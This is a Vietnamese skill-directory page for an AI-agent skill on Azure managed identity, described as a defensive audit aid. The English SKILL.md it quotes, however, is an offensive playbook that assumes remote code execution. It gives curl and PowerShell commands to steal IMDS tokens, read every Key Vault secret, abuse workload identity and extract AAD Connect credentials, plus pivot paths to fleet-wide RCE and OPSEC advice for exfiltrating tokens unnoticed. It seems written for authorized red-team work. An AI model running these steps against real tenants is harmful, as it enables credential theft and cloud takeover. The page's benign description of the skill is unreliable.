azure-managed-identity
Skill này làm gì
Skill này mô tả managed identity của Azure, cho phép các tài nguyên tính toán lấy token để truy cập dịch vụ Azure khác. Skill dành cho quản trị viên cloud và người rà soát bảo mật kiểm toán khối lượng công việc Azure.
Khi nào nên dùng
- ✓Khi một quản trị viên Azure yêu cầu agent liệt kê VM hoặc ứng dụng nào có managed identity với quyền rộng.
- ✓Khi agent kiểm tra các đối tượng (audience) token mà khối lượng công việc có thể yêu cầu, như Key Vault hoặc Graph.
- ✓Khi một báo cáo cần giải thích cách một khối lượng công việc bị xâm phạm có thể truy cập các dịch vụ Azure khác.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Những máy ảo và ứng dụng Azure nào của chúng tôi có managed identity, và các identity đó có thể truy cập những gì?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent liệt kê các khối lượng công việc có managed identity, rà soát các phân quyền gắn với từng identity, và đánh dấu những identity có quyền truy cập rộng.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Azure Managed Identity Abuse
You have RCE in an Azure compute resource (VM, App Service, Function, AKS, Container Apps). Steal the Managed Identity token and pivot.
Steal the token
Linux VM / Container
TOKEN=$(curl -s -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq -r .access_token)
Windows VM
$h = @{Metadata="true"}
$r = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Headers $h
$TOKEN = $r.access_token
App Service / Function (different endpoint, requires IDENTITY_HEADER)
TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
| jq -r .access_token)
Common token audiences (resource param)
| Audience URL | Use |
|---|---|
https://management.azure.com/ |
ARM — list/modify Azure resources |
https://graph.microsoft.com/ |
Microsoft Graph — read directory, mail, groups |
https://vault.azure.net |
Key Vault — secrets, keys, certificates |
https://storage.azure.com/ |
Storage account — blob/queue/file/table |
https://database.windows.net/ |
Azure SQL |
https://servicebus.azure.net/ |
Service Bus |
Request one token per audience — the MI assignment determines which work.
Use the token
# Enumerate the subscription
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .
# List Key Vaults (then a VAULT_TOKEN to read secrets)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01"
# Read every secret
VAULT_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
curl -s -H "Authorization: Bearer $VAULT_TOKEN" "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | jq .
Pivot patterns
| MI permission | Pivot to |
|---|---|
| Contributor on subscription | RunCommand on every VM in the sub → fleet-wide RCE |
| KeyVault Reader / Secrets User | Decrypt all stored credentials |
| User Access Administrator | Self-grant Owner role anywhere |
| AAD App Owner | Modify app registration → app-credential persistence |
| Storage Account Contributor | Steal storage keys → SAS tokens (low audit signature) |
Workload Identity (federated, no client secret)
AKS pods using Workload Identity Federation get a token via projected SA token + STS exchange. Steal the projected token from /var/run/secrets/azure/tokens/azure-identity-token, then:
SATOKEN=$(cat /var/run/secrets/azure/tokens/azure-identity-token)
TOKEN=$(curl -s -X POST "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token" \
-d "client_id=$CLIENT_ID&scope=https://management.azure.com/.default&grant_type=client_credentials&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=$SATOKEN" | jq -r .access_token)
AAD Connect MSOL (hybrid environments)
On a server running AAD Connect, MSOL_xxxxxxx in local SAM has DCSync rights → full domain compromise. Steal via DPAPI:
# Run as SYSTEM on AAD Connect server
$key = (New-Object System.Security.Cryptography.AesManaged).Key
# AADInternals does this end-to-end:
Get-AADIntSyncCredentials # AADInternals — extracts MSOL creds
OPSEC
- Azure Activity Log records every ARM call. Use Graph for low-noise enumeration.
- Token TTL ~24h. Re-stealing is logged via the IMDS access pattern (visible in Azure VM monitor).
IDENTITY_HEADERenv on App Service is process-scope — exfil it from a single trick command, then reuse.- Defender for Cloud + Microsoft Sentinel detect: "ManagedIdentityToken used from non-Azure IP" → exfil tokens carefully.
References
- MicroBurst (NetSPI), MicroBurst-Cloud (Karl Fosaaen) — Azure-specific tooling
- ROADtools (Dirk-jan) — AAD enumeration without alerts
- DEFCON 30 "Abusing Azure Active Directory" — Andy Robbins
Câu hỏi thường gặp
Managed identity là gì?
Đó là danh tính Azure mà một dịch vụ dùng để đăng nhập vào dịch vụ Azure khác mà không cần lưu mật khẩu.
Token có thể truy cập những dịch vụ nào?
Skill liệt kê Azure Resource Manager, Microsoft Graph, Key Vault, lưu trữ và SQL là các đối tượng phổ biến.
Rủi ro được giảm bằng cách nào?
Skill đề nghị cấp cho mỗi identity role nhỏ nhất mà nó cần, và chủ tài khoản quyết định việc này.
Chi tiết
Mô tả gốc của tác giả
Azure Managed Identity abuse — IMDS at 169.254.169.254 from compromised VM / App Service / Function, token exchange for Graph/ARM/KeyVault, federated workload identity abuse, hybrid AAD Connect MSOL credential extraction.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #13986
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.